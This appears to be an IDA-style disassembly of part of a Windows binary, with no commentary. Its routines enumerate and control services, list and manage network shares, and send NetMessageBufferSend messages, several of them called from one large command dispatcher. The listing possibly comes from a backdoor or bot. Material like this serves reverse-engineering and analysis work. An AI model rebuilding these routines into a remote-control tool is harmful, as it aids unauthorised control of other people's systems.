call near ptr 2830000h
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
nop
call near ptr 26603BDh
loc_4189DB: ; CODE XREF: sub_418857+72j
pop edi
pop esi
leave
retn
sub_418857 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4189DF proc near ; CODE XREF: sub_401AC7+7139p
var_294 = byte ptr -294h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
xor edi, edi
push 94h
lea eax, [ebp+var_94]
push edi
push eax
call sub_41BD10
add esp, 0Ch
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
nop
call near ptr 26E0636h
cmp [ebp+var_84], 2
jnz short loc_418A75
push [ebp+arg_10]
push [ebp+arg_C]
call dword_4C9284
push edi
push eax
call dword_4C9294
test eax, eax
jz short loc_418A67
push [ebp+arg_10]
push offset dword_438D24
loc_418A40: ; CODE XREF: sub_4189DF+94j
lea eax, [ebp+var_294]
push eax
call sub_41C006
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 20h
jmp short loc_418A9F
; ---------------------------------------------------------------------------
loc_418A67: ; CODE XREF: sub_4189DF+57j
nop
call near ptr 2680DCDh
push eax
push offset unk_438CFC
jmp short loc_418A40
; ---------------------------------------------------------------------------
loc_418A75: ; CODE XREF: sub_4189DF+3Fj
lea eax, [ebp+var_294]
push offset unk_438CCC
push eax
call sub_41C006
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 1Ch
loc_418A9F: ; CODE XREF: sub_4189DF+86j
pop edi
leave
retn
sub_4189DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418AA2 proc near ; CODE XREF: sub_401AC7+556Cp
var_1C0 = byte ptr -1C0h
var_15C = byte ptr -15Ch
var_F8 = byte ptr -0F8h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C0h
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
nop
call near ptr 26E0636h
cmp [ebp+var_90], 4
jnz short loc_418AF8
cmp [ebp+var_8C], 0
jnz short loc_418AE1
push 1
pop eax
cmp [ebp+var_84], eax
jnz short loc_418AF8
leave
retn
; ---------------------------------------------------------------------------
loc_418AE1: ; CODE XREF: sub_418AA2+30j
cmp [ebp+var_8C], 0Ah
jz short loc_418AF3
cmp [ebp+var_8C], 5Ah
jnz short loc_418AF8
loc_418AF3: ; CODE XREF: sub_418AA2+46j
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_418AF8: ; CODE XREF: sub_418AA2+27j
; sub_418AA2+3Bj ...
push esi
push edi
push offset aNetapi32_dll ; "netapi32.dll"
nop
call near ptr 26B0C73h
mov esi, eax
push offset aNetmessagebuff ; "NetMessageBufferSend"
push esi
nop
call near ptr 26C0000h
push 32h
mov edi, eax
push [ebp+arg_0]
lea eax, [ebp+var_1C0]
push eax
call sub_41DFD4
push 32h
lea eax, [ebp+var_15C]
push [ebp+arg_4]
push eax
call sub_41DFD4
push 32h
lea eax, [ebp+var_F8]
push [ebp+arg_8]
push eax
call sub_41DFD4
lea eax, [ebp+var_F8]
push eax
call sub_41DFB7
shl eax, 1
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_1C0]
push eax
push 0
call edi
add esp, 3Ch
mov edi, eax
push esi
call near ptr 27B0737h
nop
mov eax, edi
pop edi
pop esi
leave
retn
sub_418AA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418B82 proc near ; CODE XREF: sub_40111D+F7p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
nop
call near ptr 26A0729h
push eax
call sub_41C058
pop ecx
call sub_41C062
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_4276F8
call sub_41CF04
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_418B82 endp
; =============== S U B R O U T I N E =======================================
sub_418BBF proc near ; CODE XREF: sub_401AC7:loc_405F8Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_418C24
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_438D48[esi]
push edi
push eax
call sub_418C46
add esp, 14h
test eax, eax
jnz short loc_418C07
push edi
push off_438D44[esi]
mov esi, offset dword_4D9380
push offset unk_438E58
push esi
call sub_41C006
add esp, 10h
jmp short loc_418C41
; ---------------------------------------------------------------------------
loc_418C07: ; CODE XREF: sub_418BBF+2Aj
push eax
call sub_418CE8
push eax
push edi
mov esi, offset dword_4D9380
push offset unk_438E2C
push esi
call sub_41C006
add esp, 14h
jmp short loc_418C41
; ---------------------------------------------------------------------------
loc_418C24: ; CODE XREF: sub_418BBF+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_4D9380
push off_438D40[eax*4]
push offset unk_438E08
push esi
call sub_41C006
add esp, 0Ch
loc_418C41: ; CODE XREF: sub_418BBF+46j
; sub_418BBF+63j
mov eax, esi
pop edi
pop esi
retn
sub_418BBF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C46 proc near ; CODE XREF: sub_418BBF+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_4C92F8
mov edi, eax
cmp edi, ebx
jnz short loc_418C6D
nop
call near ptr 2680DCDh
mov ebx, eax
jmp short loc_418CE2
; ---------------------------------------------------------------------------
loc_418C6D: ; CODE XREF: sub_418C46+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_4C91E0
mov esi, eax
cmp esi, ebx
jnz short loc_418C8D
nop
call near ptr 2680DCDh
mov ebx, eax
jmp short loc_418CDA
; ---------------------------------------------------------------------------
loc_418C8D: ; CODE XREF: sub_418C46+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_418CC0
cmp eax, 3
jz short loc_418CB1
jle short loc_418CD3
cmp eax, 6
jg short loc_418CD3
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_4C924C
jmp short loc_418CC7
; ---------------------------------------------------------------------------
loc_418CB1: ; CODE XREF: sub_418C46+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_4C91E8
jmp short loc_418CC7
; ---------------------------------------------------------------------------
loc_418CC0: ; CODE XREF: sub_418C46+4Dj
push esi
call dword_4C9250
loc_418CC7: ; CODE XREF: sub_418C46+69j
; sub_418C46+78j
test eax, eax
jnz short loc_418CD3
nop
call near ptr 2680DCDh
mov ebx, eax
loc_418CD3: ; CODE XREF: sub_418C46+54j
; sub_418C46+59j ...
push esi
call dword_4C91FC
loc_418CDA: ; CODE XREF: sub_418C46+45j
push edi
call dword_4C91FC
pop esi
loc_418CE2: ; CODE XREF: sub_418C46+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_418C46 endp
; =============== S U B R O U T I N E =======================================
sub_418CE8 proc near ; CODE XREF: sub_418BBF+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_418D9D
jz loc_418D96
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_418D60
jz short loc_418D56
mov ecx, eax
sub ecx, 3
jz short loc_418D4C
dec ecx
dec ecx
jz short loc_418D42
dec ecx
jz short loc_418D38
sub ecx, 51h
jz short loc_418D2E
sub ecx, 24h
jnz loc_418E13 ; default
; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_418E05
; ---------------------------------------------------------------------------
loc_418D2E: ; CODE XREF: sub_418CE8+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_418E05
; ---------------------------------------------------------------------------
loc_418D38: ; CODE XREF: sub_418CE8+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_418E05
; ---------------------------------------------------------------------------
loc_418D42: ; CODE XREF: sub_418CE8+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_418E05
; ---------------------------------------------------------------------------
loc_418D4C: ; CODE XREF: sub_418CE8+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_418E05
; ---------------------------------------------------------------------------
loc_418D56: ; CODE XREF: sub_418CE8+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_418E05
; ---------------------------------------------------------------------------
loc_418D60: ; CODE XREF: sub_418CE8+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_418D8F
dec ecx
jz short loc_418D88
dec ecx
jz short loc_418D81
dec ecx
jnz loc_418E13 ; default
; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_418E05
; ---------------------------------------------------------------------------
loc_418D81: ; CODE XREF: sub_418CE8+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_418E05
; ---------------------------------------------------------------------------
loc_418D88: ; CODE XREF: sub_418CE8+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_418E05
; ---------------------------------------------------------------------------
loc_418D8F: ; CODE XREF: sub_418CE8+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_418E05
; ---------------------------------------------------------------------------
loc_418D96: ; CODE XREF: sub_418CE8+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_418E05
; ---------------------------------------------------------------------------
loc_418D9D: ; CODE XREF: sub_418CE8+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_418E13 ; default
; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16
jz short loc_418E00
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_418E13 ; default
; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_418E54[ecx]
jmp off_418E2C[ecx*4] ; switch jump
loc_418DC1: ; DATA XREF: ___:off_418E2Co
push offset aTheSpecifiedDa ; jumptable 00418DBA case 7
jmp short loc_418E05
; ---------------------------------------------------------------------------
loc_418DC8: ; CODE XREF: sub_418CE8+D2j
; DATA XREF: ___:off_418E2Co
push offset aTheServiceDepe ; jumptable 00418DBA case 17
jmp short loc_418E05
; ---------------------------------------------------------------------------
loc_418DCF: ; CODE XREF: sub_418CE8+D2j
; DATA XREF: ___:off_418E2Co
push offset aTheServiceDe_0 ; jumptable 00418DBA case 10
jmp short loc_418E05
; ---------------------------------------------------------------------------
loc_418DD6: ; CODE XREF: sub_418CE8+D2j
; DATA XREF: ___:off_418E2Co
push offset aTheServiceHasB ; jumptable 00418DBA case 0
jmp short loc_418E05
; ---------------------------------------------------------------------------
loc_418DDD: ; CODE XREF: sub_418CE8+D2j
; DATA XREF: ___:off_418E2Co
push offset aTheSpecified_0 ; jumptable 00418DBA case 2
jmp short loc_418E05
; ---------------------------------------------------------------------------
loc_418DE4: ; CODE XREF: sub_418CE8+D2j
; DATA XREF: ___:off_418E2Co
push offset aTheServiceCoul ; jumptable 00418DBA case 11
jmp short loc_418E05
; ---------------------------------------------------------------------------
loc_418DEB: ; CODE XREF: sub_418CE8+D2j
; DATA XREF: ___:off_418E2Co
push offset aTheServiceHa_0 ; jumptable 00418DBA case 14
jmp short loc_418E05
; ---------------------------------------------------------------------------
loc_418DF2: ; CODE XREF: sub_418CE8+D2j
; DATA XREF: ___:off_418E2Co
push offset aTheRequested_1 ; jumptable 00418DBA case 3
jmp short loc_418E05
; ---------------------------------------------------------------------------
loc_418DF9: ; CODE XREF: sub_418CE8+D2j
; DATA XREF: ___:off_418E2Co
push offset aTheServiceHasN ; jumptable 00418DBA case 4
jmp short loc_418E05
; ---------------------------------------------------------------------------
loc_418E00: ; CODE XREF: sub_418CE8+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_418E05: ; CODE XREF: sub_418CE8+41j
; sub_418CE8+4Bj ...
push offset dword_4D8CC0
call sub_41C006
pop ecx
pop ecx
jmp short loc_418E26
; ---------------------------------------------------------------------------
loc_418E13: ; CODE XREF: sub_418CE8+36j
; sub_418CE8+89j ...
push eax ; default
; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_4D8CC0
call sub_41C006
add esp, 0Ch
loc_418E26: ; CODE XREF: sub_418CE8+129j
mov eax, offset dword_4D8CC0
retn
sub_418CE8 endp
; ---------------------------------------------------------------------------
off_418E2C dd offset loc_418DD6 ; DATA XREF: sub_418CE8+D2r
dd offset loc_418DDD ; jump table for switch statement
dd offset loc_418DF2
dd offset loc_418DF9
dd offset loc_418DC1
dd offset loc_418DCF
dd offset loc_418DE4
dd offset loc_418DEB
dd offset loc_418DC8
dd offset loc_418E13
byte_418E54 db 0, 9, 1, 2 ; DATA XREF: sub_418CE8+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418E66 proc near ; CODE XREF: sub_401AC7+44EEp
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_4C92F8
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 14h
loc_418E9E: ; CODE XREF: sub_418E66+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_4C92C4
test eax, eax
jnz short loc_418ED8
nop
call near ptr 2680DCDh
cmp eax, 0EAh
jnz loc_418F8C
loc_418ED8: ; CODE XREF: sub_418E66+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_418F83
lea esi, [ebp+var_188]
loc_418EE9: ; CODE XREF: sub_418E66+117j
mov eax, [esi+8]
dec eax
jz short loc_418F32
dec eax
jz short loc_418F2B
dec eax
jz short loc_418F24
dec eax
jz short loc_418F1D
dec eax
jz short loc_418F16
dec eax
jz short loc_418F0F
dec eax
jz short loc_418F08
push offset aUnknown_0 ; " Unknown"
jmp short loc_418F37
; ---------------------------------------------------------------------------
loc_418F08: ; CODE XREF: sub_418E66+99j
push offset aPaused_0 ; " Paused"
jmp short loc_418F37
; ---------------------------------------------------------------------------
loc_418F0F: ; CODE XREF: sub_418E66+96j
push offset aPausing ; " Pausing"
jmp short loc_418F37
; ---------------------------------------------------------------------------
loc_418F16: ; CODE XREF: sub_418E66+93j
push offset aContinuing ; " Continuing"
jmp short loc_418F37
; ---------------------------------------------------------------------------
loc_418F1D: ; CODE XREF: sub_418E66+90j
push offset aRunning ; " Running"
jmp short loc_418F37
; ---------------------------------------------------------------------------
loc_418F24: ; CODE XREF: sub_418E66+8Dj
push offset aStoping ; " Stoping"
jmp short loc_418F37
; ---------------------------------------------------------------------------
loc_418F2B: ; CODE XREF: sub_418E66+8Aj
push offset aStarting ; " Starting"
jmp short loc_418F37
; ---------------------------------------------------------------------------
loc_418F32: ; CODE XREF: sub_418E66+87j
push offset aStopped ; " Stopped"
loc_418F37: ; CODE XREF: sub_418E66+A0j
; sub_418E66+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_41C006
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_41C006
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_418EE9
loc_418F83: ; CODE XREF: sub_418E66+77j
cmp [ebp+var_8], ebx
jnz loc_418E9E
loc_418F8C: ; CODE XREF: sub_418E66+6Cj
push [ebp+var_C]
call dword_4C91FC
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_418E66 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418FA3 proc near ; CODE XREF: sub_401AC7:loc_40606Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_41903C
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_418FCC
dec eax
jnz short loc_41901C
push edi
push 0
call sub_419175
pop ecx
pop ecx
jmp short loc_419018
; ---------------------------------------------------------------------------
loc_418FCC: ; CODE XREF: sub_418FA3+18j
cmp [ebp+arg_8], 0
jnz short loc_41900A
push 24h
push edi
call sub_41C720
pop ecx
test eax, eax
pop ecx
jnz short loc_41900A
push 57h
pop eax
loc_418FE3: ; CODE XREF: sub_418FA3+77j
push eax
call sub_41994D
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4D8F7C
push off_438D40[eax*4]
push offset unk_4393EC
push esi
call sub_41C006
add esp, 18h
jmp short loc_41905C
; ---------------------------------------------------------------------------
loc_41900A: ; CODE XREF: sub_418FA3+2Dj
; sub_418FA3+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_4190C9
add esp, 0Ch
loc_419018: ; CODE XREF: sub_418FA3+27j
test eax, eax
jnz short loc_418FE3
loc_41901C: ; CODE XREF: sub_418FA3+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4D8F7C
push off_438D44[eax*4]
push offset dword_4393D0
push esi
call sub_41C006
add esp, 10h
jmp short loc_41905C
; ---------------------------------------------------------------------------
loc_41903C: ; CODE XREF: sub_418FA3+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_4D8F7C
lea eax, [eax+eax*2]
push off_438D40[eax*4]
push offset unk_4393AC
push esi
call sub_41C006
add esp, 0Ch
loc_41905C: ; CODE XREF: sub_418FA3+65j
; sub_418FA3+97j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_418FA3 endp
; =============== S U B R O U T I N E =======================================
sub_419062 proc near ; CODE XREF: sub_41A367+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_41906F
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_41906F: ; CODE XREF: sub_419062+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_427194
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi
test byte_4D917C, 1
mov ebp, eax
jnz short loc_4190AC
or byte_4D917C, 1
lea eax, [ebp+1]
push eax
call sub_41D735
pop ecx
mov dword_4D8F1C, eax
loc_4190AC: ; CODE XREF: sub_419062+32j
push esi
push esi
push ebp
push dword_4D8F1C
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi
mov eax, dword_4D8F1C
pop edi
pop ebp
pop ebx
pop esi
retn
sub_419062 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4190C9 proc near ; CODE XREF: sub_418FA3+6Dp
; sub_41A68B+18Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_419134
push [ebp+arg_4]
mov edi, eax
call sub_419134
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_41C720
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_419134
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_4C91F8
pop edi
leave
retn
sub_4190C9 endp
; =============== S U B R O U T I N E =======================================
sub_419134 proc near ; CODE XREF: sub_4190C9+Ap
; sub_4190C9+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_419141
pop ebp
retn
; ---------------------------------------------------------------------------
loc_419141: ; CODE XREF: sub_419134+9j
push ebx
push esi
mov esi, dword_4270F0
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_41D735
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_419134 endp
; =============== S U B R O U T I N E =======================================
sub_419175 proc near ; CODE XREF: sub_418FA3+20p
; sub_41A367+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_419134
push [esp+8+arg_4]
mov esi, eax
call sub_419134
pop ecx
pop ecx
push 0
push eax
push esi
call dword_4C91D0
pop esi
retn
sub_419175 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419198 proc near ; CODE XREF: sub_401AC7+45D1p
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_419134
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 18h
loc_4191D1: ; CODE XREF: sub_419198+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_4C9248
mov ebx, eax
cmp ebx, esi
jz short loc_419234
cmp ebx, 0EAh
jz short loc_419234
push ebx
push ebx
call sub_41994D
pop ecx
push eax
lea eax, [ebp+var_210]
push offset unk_439438
push eax
call sub_41C006
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 24h
jmp short loc_4192A1
; ---------------------------------------------------------------------------
loc_419234: ; CODE XREF: sub_419198+5Dj
; sub_419198+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_419298
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_419242: ; CODE XREF: sub_419198+FCj
push dword ptr [esi+10h]
call dword_4C91EC
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_419259
mov eax, offset aNo ; "No"
loc_419259: ; CODE XREF: sub_419198+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_41C006
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_419242
xor esi, esi
loc_419298: ; CODE XREF: sub_419198+A2j
push [ebp+var_4]
call dword_4C9394
loc_4192A1: ; CODE XREF: sub_419198+9Aj
cmp ebx, 0EAh
jz loc_4191D1
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_419198 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4192B9 proc near ; CODE XREF: sub_401AC7:loc_40610Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_41935D
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_4192FB
dec eax
jz short loc_4192F0
dec eax
jnz short loc_419316
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_4193FF
add esp, 14h
jmp short loc_419312
; ---------------------------------------------------------------------------
loc_4192F0: ; CODE XREF: sub_4192B9+1Dj
push ebx
push edi
call sub_4193DE
pop ecx
pop ecx
jmp short loc_419312
; ---------------------------------------------------------------------------
loc_4192FB: ; CODE XREF: sub_4192B9+1Aj
cmp [ebp+arg_8], edi
jz short loc_41930F
push [ebp+arg_8]
push ebx
push edi
call sub_419384
add esp, 0Ch
jmp short loc_419312
; ---------------------------------------------------------------------------
loc_41930F: ; CODE XREF: sub_4192B9+45j
push 57h
pop eax
loc_419312: ; CODE XREF: sub_4192B9+35j
; sub_4192B9+40j ...
cmp eax, edi
jnz short loc_419336
loc_419316: ; CODE XREF: sub_4192B9+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4D9180
push off_438D44[eax*4]
push offset unk_4394F0
push esi
call sub_41C006
add esp, 10h
jmp short loc_41937D
; ---------------------------------------------------------------------------
loc_419336: ; CODE XREF: sub_4192B9+5Bj
push eax
call sub_41994D
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4D9180
push off_438D40[eax*4]
push offset unk_4394C0
push esi
call sub_41C006
add esp, 18h
jmp short loc_41937D
; ---------------------------------------------------------------------------
loc_41935D: ; CODE XREF: sub_4192B9+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_4D9180
lea eax, [eax+eax*2]
push off_438D40[eax*4]
push offset unk_439498
push esi
call sub_41C006
add esp, 0Ch
loc_41937D: ; CODE XREF: sub_4192B9+7Bj
; sub_4192B9+A2j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4192B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419384 proc near ; CODE XREF: sub_4192B9+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_419134
push [ebp+arg_4]
mov edi, eax
call sub_419134
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_419134
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_4C91DC
pop edi
leave
retn
sub_419384 endp
; =============== S U B R O U T I N E =======================================
sub_4193DE proc near ; CODE XREF: sub_4192B9+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_419134
push [esp+8+arg_4]
mov esi, eax
call sub_419134
pop ecx
pop ecx
push eax
push esi
call dword_4C91CC
pop esi
retn
sub_4193DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4193FF proc near ; CODE XREF: sub_4192B9+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_419134
